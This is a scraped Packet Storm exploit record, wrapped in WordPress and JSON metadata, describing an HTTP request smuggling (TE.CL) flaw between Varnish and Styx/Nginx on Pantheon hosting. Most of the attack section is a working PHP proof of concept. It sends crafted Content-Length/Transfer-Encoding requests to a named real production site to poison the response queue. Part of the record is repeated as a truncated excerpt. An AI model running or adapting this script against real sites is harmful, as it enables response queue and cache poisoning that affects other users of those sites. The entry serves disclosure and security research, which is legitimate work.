{“lastseen”:”2025-12-24T16:35:16″,”description”:”Proof of concept exploit that demonstrates an HTTP request smuggling vulnerability between Varnish and Styx \/ Nginx…”,”published”:”2025-12-24T00:00:00″,”modified”:”2025-12-24T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Varnish \/ Styx HTTP Request Smuggling”,”source”:””,”references”:””,”id”:”PACKETSTORM:213290″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : HTTP Request Smuggling (TE.CL) via Edge Cache Misconfiguration (Varnish \u2194 Styx) |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/pantheon.io\/ |\\n =============================================================================================================================================\\n \\n [+] References : \\n \\n [+] Summary : A critical HTTP Request Smuggling (TE.CL) vulnerability exists due to inconsistent HTTP request parsing \\n between the Pantheon edge caching layer (Varnish) and the backend routing layer (Styx \/ Nginx).\\n The edge layer accepts ambiguous requests containing both Content-Length and Transfer-Encoding, \\n \\t\\t\\t\\t while the backend correctly prioritizes Transfer-Encoding: chunked.\\n This discrepancy allows an attacker to smuggle arbitrary HTTP requests, resulting in response queue poisoning and potential web cache poisoning.\\n \\n [+] Technical Details :\\n \\n Frontend (Varnish Edge Cache)\\n \\n Parses requests using Content-Length\\n \\n Does not reject dual-header ambiguity (CL + TE)\\n \\n Backend (Pantheon Styx \/ Nginx)\\n \\n [+] Prioritizes Transfer-Encoding: chunked\\n \\n Leaves smuggled payload queued for the next request\\n \\n [+] Vulnerability Class :\\n \\n Desynchronization \u2192 Response Queue Poisoning \u2192 Cache Poisoning\\n \\n [+] Proof of Concept (PoC)\\n \\n The following PoC demonstrates request smuggling by injecting a benign smuggled request and observing its response being returned for a subsequent legitimate request.\\n \\n [+] PoC : poc_final.php\\n \\n \\u003c?php\\n \/**\\n * Proof of Concept: HTTP Request Smuggling (TE.CL)\\n * Target: Pantheon-hosted application\\n *\/\\n \\n error_reporting(E_ALL);\\n $host = \\”www.bugcrowd.com\\”; \/\/ Pantheon-hosted example\\n $asset = \\”\/etc\/designs\/bugcrowd\/clientlibs\/main.js\\”;\\n $poc_mark = \\”PANTHEON_TECL_POC_\\” . rand(100, 999);\\n \\n $fp = fsockopen(\\”ssl:\/\/$host\\”, 443, $errno, $errstr, 15);\\n if (!$fp) die(\\”[-] Connection Failed: $errstr\\”);\\n \\n \/\/ Smuggled request\\n $smuggled = \\”GET \/nonexistent-$poc_mark HTTP\/1.1\\\\r\\\\n\\”;\\n $smuggled .= \\”Host: $host\\\\r\\\\n\\”;\\n $smuggled .= \\”Connection: keep-alive\\\\r\\\\n\\\\r\\\\n\\”;\\n \\n \/\/ Main TE.CL request\\n $body = \\”0\\\\r\\\\n\\\\r\\\\n\\” . $smuggled;\\n $request = \\”POST \/ HTTP\/1.1\\\\r\\\\n\\”;\\n $request .= \\”Host: $host\\\\r\\\\n\\”;\\n $request .= \\”Transfer-Encoding: chunked\\\\r\\\\n\\”;\\n $request .= \\”Content-Length: 4\\\\r\\\\n\\”;\\n $request .= \\”Connection: keep-alive\\\\r\\\\n\\\\r\\\\n\\”;\\n $request .= $body;\\n \\n fwrite($fp, $request);\\n usleep(600000);\\n \\n \/\/ Trigger request\\n fwrite($fp, \\”GET $asset HTTP\/1.1\\\\r\\\\nHost: $host\\\\r\\\\n\\\\r\\\\n\\”);\\n \\n $response = \\”\\”;\\n while (!feof($fp)) {\\n $response .= fgets($fp, 1024);\\n }\\n fclose($fp);\\n \\n if (strpos($response, $poc_mark) !== false) {\\n echo \\”[+] SUCCESS: Response queue poisoned via TE.CL.\\\\n\\”;\\n }\\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213290″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213290\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-24T16:35:16″,”description”:”Proof of concept exploit that demonstrates an HTTP request smuggling vulnerability between Varnish and Styx \/ Nginx…”,”published”:”2025-12-24T00:00:00″,”modified”:”2025-12-24T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Varnish \/ Styx HTTP Request Smuggling”,”source”:””,”references”:””,”id”:”PACKETSTORM:213290″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | #…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-32688","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n